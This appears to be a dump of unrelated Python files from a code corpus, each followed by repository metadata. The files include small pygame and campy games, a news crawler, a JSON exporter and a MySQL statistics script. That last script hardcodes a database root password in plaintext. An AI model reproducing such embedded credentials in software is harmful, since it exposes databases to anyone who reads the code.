"x" + self.text + " $" + str(int(self.price())), False, BLACK) text_rect = text_surface.get_rect() text_rect.topleft = (self.rect.left + 10, self.rect.top + self.rect.height * 0.25) surface.blit(text_surface, text_rect) def total_cps(self): return self.cps_each * self.count def price(self): return self.base_price * 1.15**self.count def click(self): price = self.price() global COOKIES if COOKIES >= price: self.count += 1 COOKIES -= price def collidepoint(self, point): return self.rect.collidepoint(point) def make_items(self, text_list, base_price_list, cps_list, rect, spacing): button_height = rect.height / len(text_list) button_width = rect.width buttons = [] for i in range(len(text_list)): text = text_list[i] base_price = base_price_list[i] base_cps = cps_list[i] button_rect = pygame.Rect(rect.left, rect.top + i * (button_height + spacing), button_width, button_height) button = Item(button_rect, text, base_price, base_cps) buttons.append(button) return buttons items = Item.make_items(["Cursor", "Grandma", "Farm", "Factory", "Mine", "Shipment", "Alchemy Lab", "Portal", "Time machine", "Antimatter condenser", "Prism"], [15, 100, 500, 3000, 10000, 40000, 200000, 1666666, 123456789, 3999999999, 75000000000], [0.1, 0.5, 4, 10, 40, 100, 400, 6666, 98765, 999999, 10000000], pygame.Rect(70, 30, 230, 400), 5) game_menu_buttons = pygame.sprite.Group() store_menu_buttons = pygame.sprite.Group() cookie = Button("textures/cookie_button.png", [WIDTH//2-135, HEIGHT//2-135], game_menu_buttons) store = Button(((50, 50), ORANGE), (50, 490), game_menu_buttons) back = Button(((20, 20), GRAY), (30, 30), store_menu_buttons) # object and more #counter_font = TextButton(None, 50, "Счёт: ", colors.LIGHT_BLUE, (30, 30)) #boost_textbutton = TextButton(None, 35, 'Первый бустер ', colors.LIGHT_BLUE, (50, 60)) #cookie = Button([WIDTH//2-135, HEIGHT//2-135], texture_or_surf='textures/cookie_button.png', debug_name='cookie_button') #store = Button([50, 490], ([50, 50], colors.ORANGE), test=True, debug_name='store_button' ) #back = Button([30, 30], ([20, 20], colors.GRAY), test=True, debug_name='back_button') full_sc = False def fullscreen_mode(): """Полноэкранный режим""" global full_sc global win if not full_sc: win = pygame.display.set_mode((WIDTH, HEIGHT), pygame.FULLSCREEN) full_sc = True else: win = pygame.display.set_mode((WIDTH, HEIGHT)) full_sc = False menu_choice = 'game' def menu(choice): """выбор меню игры""" if choice == 'game': win.fill(WHITE) pygame.draw.line(win, GRAY, [0, 0], [WIDTH, 0], 15) pygame.draw.line(win, GRAY, [0, 95], [WIDTH, 95], 10) pygame.draw.line(win, GRAY, [0, 0], [0, 95], 15) pygame.draw.line(win, GRAY, [WIDTH, 0], [WIDTH, 95], 15) win.blit(background, (0, 100)) game_menu_buttons.draw(win) pygame.display.update() elif choice == 'store': win.fill(WHITE) store_menu_buttons.draw(win) for button in items: button.draw(win) pygame.display.update() boost_score = 0 bonus_on = False while True: clock.tick(FPS) for e in pygame.event.get(): if e.type == pygame.QUIT or (e.type == pygame.KEYDOWN and e.key == pygame.K_ESCAPE): exit() if e.type == pygame.KEYDOWN and e.key == pygame.K_f: fullscreen_mode() if e.type == pygame.MOUSEBUTTONDOWN and e.button == 1: # Проверка состояния меню вносится в отдельный if, под которым проверяются нужные кнопки. #if menu_choice == 'game': if cookie.button_pressed(): random.choice(pop_sound).play() count += 1 if store.button_pressed(): menu_choice = 'store' if menu_choice == 'store': if back.button_pressed(): menu_choice = 'game' ''' if boost_textbutton.button_pressed() and count >= 10: count -= 10 boost_score += 1 bonus_on = True ''' if bonus_on and e.type == pygame.USEREVENT: count += boost_score # Сделать так, чтобы при нажатии на кнопку та немного уменьшалась в размере. print("Cчёт: " + str(count)) menu(menu_choice)
true
40ecceb3d85dd84afffa368142f5569f8e17bc41
Python
linhdb-2149/topdup
/modules/crawlers/src/libs/docbao_crawler.py
UTF-8
2,791
2.640625
3
[]
no_license
from loguru import logger from libs.data import ArticleManager from libs.config import ConfigManager from libs.browser_crawler import BrowserWrapper from libs.postgresql_client import PostgresClient class Docbao_Crawler(): _crawl_newspaper = True def __init__(self, crawl_newspaper=True, export_to_postgres=False): self._crawl_newspaper = crawl_newspaper self._export_to_postgres = export_to_postgres self._config_manager = ConfigManager('./libs/config/config.yaml') self._data_manager =\ ArticleManager(self._config_manager) # article database object def load_data_from_file(self): # Load data from file self._config_manager.load_data(crawl_newspaper=self._crawl_newspaper) self._config_manager.print_crawl_list() def run_crawler(self): logger.info("Start crawling...") crawl_queue = self._config_manager.get_newspaper_list() data_manager = self._data_manager browser = BrowserWrapper() crawled_articles = [] try: for webconfig in crawl_queue: crawl_type = webconfig.get_crawl_type() if crawl_type == "newspaper": logger.info("Crawling newspaper {}", webconfig.get_webname()) data_manager.add_articles_from_newspaper(webconfig, browser) if len(data_manager._new_article.items()) > 0: for article_id, article in data_manager._new_article.items(): crawled_articles.append(article) if browser is not None: browser.quit() except Exception as ex: logger.exception(ex) if browser is not None: browser.quit() except KeyboardInterrupt as ki: if browser is not None: browser.quit() logger.exception(ki) logger.info("Finish crawling") rb_articles = [] if len(crawled_articles) > 0: for crawl_item in crawled_articles: article = crawl_item if article.get_id() not in data_manager._data: data_manager._data[article.get_id()] = article rb_articles.append(article) logger.info("{}: {}", article.get_newspaper(), article.get_topic()) if self._export_to_postgres: try: # push to Postgres postgres = PostgresClient() for article in rb_articles: postgres.push_article(article) except Exception as ex: logger.exception(ex) logger.info("FINISH ADD TO POSTGRE DATABASE...")
true
862e92575c573283ad84d571d73acc3745656e25
Python
vliegenthart/coner_feedback_analyser
/generate_rewards_overview.py
UTF-8
1,312
2.796875
3
[ "MIT" ]
permissive
# @author Daniel Vliegenthart # Generate overview JSON of rewards import json import time import os from config import ROOTPATH, viewer_pids, data_date from util_functions import read_json_file # ################### # # SETUP ARGS # # ################### # def main(): # ############################# # # GENERATE REWARDS JSON # # ############################# # data_json = read_json_file(f'data/firebase-{data_date}-coner-viewer-export.json') rewards_json = data_json['rewards'] rewards = [] for pid in rewards_json.keys(): for reward_id, transaction in rewards_json[pid].items(): transaction['firebase_id'] = reward_id transaction['timestamp_formatted'] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(transaction['timestamp'])) rewards.append(transaction) write_rewards_json(rewards) # Write the array of highlights to json file def write_rewards_json(rewards): file_content = json.dumps(rewards, indent=2) file_path = f'/data/rewards/firebase-{data_date}-rewards.json' os.makedirs(os.path.dirname(ROOTPATH + file_path), exist_ok=True) with open(ROOTPATH + file_path, 'w+') as file: file.write(file_content) len_rewards = len(rewards) print(f'Wrote {len_rewards} rewards (JSON) to {file_path}') if __name__=='__main__': main()
true
777abeaa7a8d3909b690d00f8bf98d86cec00b0f
Python
she12306/stancode_projects
/stancode_projects/breakoutgraphics.py
UTF-8
10,920
3.296875
3
[ "MIT" ]
permissive
""" stanCode Breakout Project Adapted from Eric Roberts's Breakout by Sonja Johnson-Yu, Kylie Jue, Nick Bowman, and Jerry Liao Heather is so sleepy, but the city lights are too bright to sleep. Please help her to turn off all the lights so that she can have a good sleep. """ from campy.graphics.gwindow import GWindow from campy.graphics.gobjects import GOval, GRect, GLabel from campy.graphics.gimage import GImage from campy.gui.events.mouse import onmouseclicked, onmousemoved import random BRICK_SPACING = 5 # Space between bricks (in pixels). This space is used for horizontal and vertical spacing. BRICK_WIDTH = 35 # Height of a brick (in pixels). BRICK_HEIGHT = 15 # Height of a brick (in pixels). BRICK_ROWS = 10 # Number of rows of bricks. BRICK_COLS = 10 # Number of columns of bricks. BRICK_OFFSET = 50 # Vertical offset of the topmost brick from the window top (in pixels). BALL_RADIUS = 10 # Radius of the ball (in pixels). PADDLE_WIDTH = 75 # Width of the paddle (in pixels). PADDLE_HEIGHT = 15 # Height of the paddle (in pixels). PADDLE_OFFSET = 50 # Vertical offset of the paddle from the window bottom (in pixels). INITIAL_Y_SPEED = 7 # Initial vertical speed for the ball. MAX_X_SPEED = 5 # Maximum initial horizontal speed for the ball. class BreakoutGraphics: def __init__(self, ball_radius = BALL_RADIUS, paddle_width = PADDLE_WIDTH, paddle_height = PADDLE_HEIGHT, paddle_offset = PADDLE_OFFSET, brick_rows = BRICK_ROWS, brick_cols = BRICK_COLS, brick_width = BRICK_WIDTH, brick_height = BRICK_HEIGHT, brick_offset = BRICK_OFFSET, brick_spacing = BRICK_SPACING, title='Breakout'): # Create a graphical window, with some extra space window_width = brick_cols * (brick_width+5 + brick_spacing) - brick_spacing window_height = brick_offset + 3 * (brick_rows * (brick_height + brick_spacing) - brick_spacing) self.window = GWindow(width=window_width, height=window_height, title=title) bg = GRect(window_width, window_height) bg.filled = True self.window.add(bg) self.hp_lst = [] # Stored variable according to the number of lives # beginning self.beginning1 = GLabel('Too bright!') self.beginning2 = GLabel('Help turn off all the lights!') self.beginning1.font = 'Courier-15-bold' self.beginning1.color = 'powderblue' self.beginning2.font = 'Courier-15-bold' self.beginning2.color = 'powderblue' self.window.add(self.beginning1, (self.window.width-self.beginning1.width)/2, 400) self.window.add(self.beginning2, (self.window.width - self.beginning2.width)/2, 450) # Create a paddle self.paddle = GImage("bed.jpg") self.paddle_y = window_height - paddle_offset*2 self.window.add(self.paddle, (window_width-paddle_width)/2, self.paddle_y) # Center a filled ball in the graphical window self.ball = GOval(ball_radius*2, ball_radius*2) self.ball.filled = True self.ball.fill_color = 'powderblue' self.window.add(self.ball, (window_width-self.ball.width)/2, (window_height-self.ball.height)/2) self.ball_lst = ['ball_ul', 'ball_ur', 'ball_dl', 'ball_dr'] # Used to detect collisions # Default initial velocity for the ball self.__dx = random.randint(1, MAX_X_SPEED) if random.random() > 0.5: self.__dx = -self.__dx self.__dy = INITIAL_Y_SPEED self.is_slow = False self.is_fast = False # Initialize our mouse listeners self.is_game_start = False onmouseclicked(self.start) onmousemoved(self.paddle_move) # Draw bricks brick_x_spacing = brick_width+brick_spacing brick_y_spacing = brick_height+brick_spacing self.brick_lst = [] for i in range(10): for j in range(10): self.brick_lst.append(str(i)+str(j)) self.brick_lst[i*10+j] = GRect(brick_width, brick_height) self.brick_lst[i*10+j].filled = True self.brick_lst[i*10+j].fill_color = 'white' self.window.add(self.brick_lst[i*10+j], (brick_x_spacing+3)*i+12, brick_offset + brick_y_spacing*j) # Special_bricks # rise self.brick_lst[19].fill_color = 'salmon' self.brick_lst[42].fill_color = 'salmon' self.brick_lst[65].fill_color = 'salmon' # decline self.brick_lst[4].fill_color = 'aquamarine' self.brick_lst[37].fill_color = 'aquamarine' self.brick_lst[84].fill_color = 'aquamarine' # discolor self.brick_lst[23].fill_color = 'orange' self.brick_lst[47].fill_color = 'pink' self.brick_lst[55].fill_color = 'peru' self.brick_lst[72].fill_color = 'orchid' self.brick_lst[79].fill_color = 'violet' self.brick_lst[97].fill_color = 'rosybrown' # slow self.brick_lst[15].fill_color = 'grey' self.brick_lst[81].fill_color = 'grey' # fast self.brick_lst[11].fill_color = 'tan' self.brick_lst[34].fill_color = 'tan' # Score self.score = 0 self.scoreboard = GLabel(f'Light: {100-self.score}') self.scoreboard.font = 'Courier-15-bold' self.scoreboard.color = 'white' self.window.add(self.scoreboard, 10, self.scoreboard.height + 10) def paddle_move(self, m): if self.paddle.width/2 <= m.x <= self.window.width-self.paddle.width/2: self.window.add(self.paddle, m.x-self.paddle.width/2, self.paddle.y) def start(self, m): self.window.remove(self.beginning1) self.window.remove(self.beginning2) self.is_game_start = True return self.is_game_start def get_dx(self): return self.__dx def get_dy(self): return self.__dy def initialize_ball_position(self): self.window.add(self.ball, (self.window.width-self.ball.width)/2, (self.window.height-self.ball.height)/2) def reset_dx(self): self.__dx = random.randint(1, MAX_X_SPEED) if random.random() > 0.5: self.__dx = -self.__dx return self.__dx def collision(self): """ Hit the wall and paddle will return True to reverse the dy in the 'breakout' to make a rebound effect. Hit a brick will add point and eliminate the brick. Hit the colored bricks with special effects: paddle rises or falls, the ball changes color, the speed of the ball becomes faster or slower. """ self.ball_lst[0] = self.window.get_object_at(self.ball.x, self.ball.y) self.ball_lst[1] = self.window.get_object_at(self.ball.x + self.ball.width, self.ball.y) self.ball_lst[2] = self.window.get_object_at(self.ball.x, self.ball.y + self.ball.height) self.ball_lst[3] = self.window.get_object_at(self.ball.x + self.ball.width, self.ball.y + self.ball.height) for corner in self.ball_lst: for i in range(len(self.brick_lst)): brick = self.brick_lst[i] if corner is self.paddle or corner is brick: if corner is brick: self.window.remove(corner) self.score += 1 self.scoreboard.text = f'Light: {100-self.score}' if corner is self.brick_lst[19] or corner is self.brick_lst[42] or corner is self.brick_lst[65]: self.rise() if corner is self.brick_lst[4] or corner is self.brick_lst[37] or corner is self.brick_lst[84]: self.decline() if corner is self.brick_lst[23]: self.discolor(self.brick_lst[23].fill_color) if corner is self.brick_lst[47]: self.discolor(self.brick_lst[47].fill_color) if corner is self.brick_lst[55]: self.discolor(self.brick_lst[55].fill_color) if corner is self.brick_lst[72]: self.discolor(self.brick_lst[72].fill_color) if corner is self.brick_lst[79]: self.discolor(self.brick_lst[79].fill_color) if corner is self.brick_lst[97]: self.discolor(self.brick_lst[97].fill_color) if corner is self.brick_lst[15] or corner is self.brick_lst[81]: self.is_slow = True return self.is_slow if corner is self.brick_lst[11] or corner is self.brick_lst[34]: self.is_fast = True return self.is_fast return True # Special bricks effect def rise(self): self.paddle.y -= 30 def decline(self): if self.paddle.y < self.window.height - self.paddle.height: self.paddle.y += 30 def discolor(self, color): self.ball.fill_color = color # hp def draw_hp(self, n): for i in range(n): self.hp_lst.append(str(i)) self.hp_lst[i] = GImage('pillow.jpg') self.window.add(self.hp_lst[i], self.window.width - self.hp_lst[i].width * (i + 1) - (i + 5), 5) def reduce_hp(self, n): for i in range(len(self.hp_lst)): self.window.remove(self.hp_lst[i]) for i in range(n): self.hp_lst.append(str(i)) self.hp_lst[i] = GImage('pillow.jpg') self.window.add(self.hp_lst[i], self.window.width - self.hp_lst[i].width * (i + 1) - (i + 5), 5) # Final page def draw_bg(self): bg = GRect(self.window.width, self.window.height) bg.filled = True bg.fill_color = 'white' bg.color = 'white' return bg def win(self): bg = self.draw_bg() bg.fill_color = 'black' bg.color = 'black' self.window.add(bg) word = GLabel('Have a good dream! zzz...') word.font = 'Courier-20-bold' word.color = 'skyblue' self.window.add(word, (bg.width - word.width)/2, (bg.height + word.height)/2) def lose(self): bg = self.draw_bg() self.window.add(bg) word = GLabel('Please let me sleep......') word.font = 'Courier-20-bold' word.color = 'firebrick' self.window.add(word, (bg.width - word.width)/2, (bg.height + word.height)/2) # After the score exceeds 80, the color of the ball becomes darker. def harder(self): self.ball.fill_color = 'darkgrey' if __name__ == 'breakoutgraphics': print('"breakoutgraphics.py" provides all the image components!')
true
1fa92dbbb44f0ce2d9f7edfcc405e10f00c39463
Python
NDesprez001/Range_and_formating_practice
/Range_and_format_practice.py
UTF-8
362
3.28125
3
[]
no_license
lst = [] for x in range(20): lst.append(x) html_lst = [] for x in lst: html_lst.append('<li><h1>' + str(x) + '</h1></li>') make_str = '' for x in html_lst: make_str = make_str + x x = '''<html> <head></head> <body> <ul> <li> <h1> {0} </h1> </li> </ul> </body> </html>''' print( x.format(make_str) )
true
d9473830f9558e69550c0364881cd0d0ca772acf
Python
pankamo/17_2_KPU2DGP
/FlyingStateSlamGauge.py
UTF-8
3,383
2.671875
3
[]
no_license
from pico2d import * class FirstGauge : image = None Charging, Charged = 0,1 def __init__(self): if self.image == None : self.image = load_image('./Images/RocketSlamGauge.png') self.state = self.Charged self.frame = -1 self.x, self.y = 58, 447 def update(self,bison, frame_time): if self.state == self.Charged : if self.frame == 5: pass else : self.frame = (self.frame + 1) % 6 if bison.rocketgauge < 3: self.state = self.Charging if self.state == self.Charging : if bison.rocketgauge <= 2: self.frame = 0 if bison.rocketgauge == 2.25: self.frame = 1 if bison.rocketgauge == 2.5: self.frame = 2 if bison.rocketgauge == 2.75: self.frame = 3 if bison.rocketgauge == 3: self.state = self.Charged def draw(self): self.image.clip_draw(self.frame * 100, self.state * 100, 100, 100, self.x, self.y) class SecondGauge : image = None Charging, Charged = 0,1 def __init__(self): if self.image == None : self.image = load_image('./Images/RocketSlamGauge.png') self.state = self.Charged self.frame = -1 self.x, self.y = 58, FirstGauge().y - 90 def update(self,bison, frame_time): if self.state == self.Charged : if self.frame == 5: pass else : self.frame = (self.frame + 1) % 6 if bison.rocketgauge < 2 : self.state = self.Charging if self.state == self.Charging : if bison.rocketgauge <= 1: self.frame = 0 if bison.rocketgauge == 1.25: self.frame = 1 if bison.rocketgauge == 1.5: self.frame = 2 if bison.rocketgauge == 1.75: self.frame = 3 if bison.rocketgauge == 2 or bison.rocketgauge > 2 : self.state = self.Charged def draw(self): self.image.clip_draw(self.frame * 100, self.state * 100, 100, 100, self.x, self.y) class ThirdGauge : image = None Charging, Charged = 0,1 def __init__(self): if self.image == None : self.image = load_image('./Images/RocketSlamGauge.png') self.state = self.Charged self.frame = -1 self.x, self.y = 58, SecondGauge().y - 90 def update(self, bison, frame_time): if self.state == self.Charged : if self.frame == 5: pass else : self.frame = (self.frame + 1) % 6 if bison.rocketgauge < 1 : self.state = self.Charging if self.state == self.Charging : if bison.rocketgauge == 0: self.frame = 0 if bison.rocketgauge == 0.25: self.frame = 1 if bison.rocketgauge == 0.5: self.frame = 2 if bison.rocketgauge == 0.75: self.frame = 3 if bison.rocketgauge == 1 or bison.rocketgauge > 1: self.state = self.Charged def draw(self): self.image.clip_draw(self.frame * 100, self.state * 100, 100, 100, self.x, self.y)
true
b8fada02e8b67a5600dfb874d31746735901889d
Python
Pizzabakerz/codingsuperstar
/python-codes/codes/15.lambda_map_example/mapfun.py
UTF-8
189
3.484375
3
[]
no_license
def square(val): return val*val # use map to avoid this square(1) square(2) square(3) square(4) mytuple = (1,2,3,4) ans = map(square,mytuple) # map function print(set(ans))
true
c585b4e24dae52199004d4d1dd8bc24cfa77294b
Python
anilhimam17/SuperMarketManagement
/statistics.py
UTF-8
1,267
2.921875
3
[ "MIT" ]
permissive
import mysql.connector as sql import matplotlib.pyplot as pl from tkinter import * passwords_database = sql.connect(host = "localhost", user = "root", passwd = "anil@1234", database = "supermarket_passwords") product_database = sql.connect(host = "localhost", user = "root", passwd = "anil@1234", database = "product_management") password_cursor = passwords_database.cursor() product_cursor = product_database.cursor() #------------------------------------------------------------------------------------------------------------------------- def statistics(): sqlFormula = "select * from product_details" product_cursor.execute(sqlFormula) result = list(product_cursor.fetchall()) names = [] values = [] for i in result: names.append(i[1]) values.append(int(i[2])) xval = [] for i in range(len(names)): xval.append(i) pl.title("Order Statistics") pl.xlabel("Products") pl.ylabel("Quantity") pl.bar(xval, values, width = 0.6, color = "yellow", label = "Products") pl.legend(loc = "upper right") pl.xticks(xval, names) pl.show() #------------------------------------------------------------------------------------------------------------------------- statistics()
true